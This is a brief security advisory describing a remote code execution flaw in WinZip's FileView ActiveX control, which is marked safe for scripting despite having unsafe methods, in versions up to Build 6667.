					The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a
				remote attacker to execute arbitrary code on the system. The control contains
				several unsafe methods and is marked safe for scripting and safe for initialization.
				A remote attacker could exploit this vulnerability to execute arbitrary code on the
				victim system. WinZip 10.0 &#60;= Build 6667 are vulnerable.
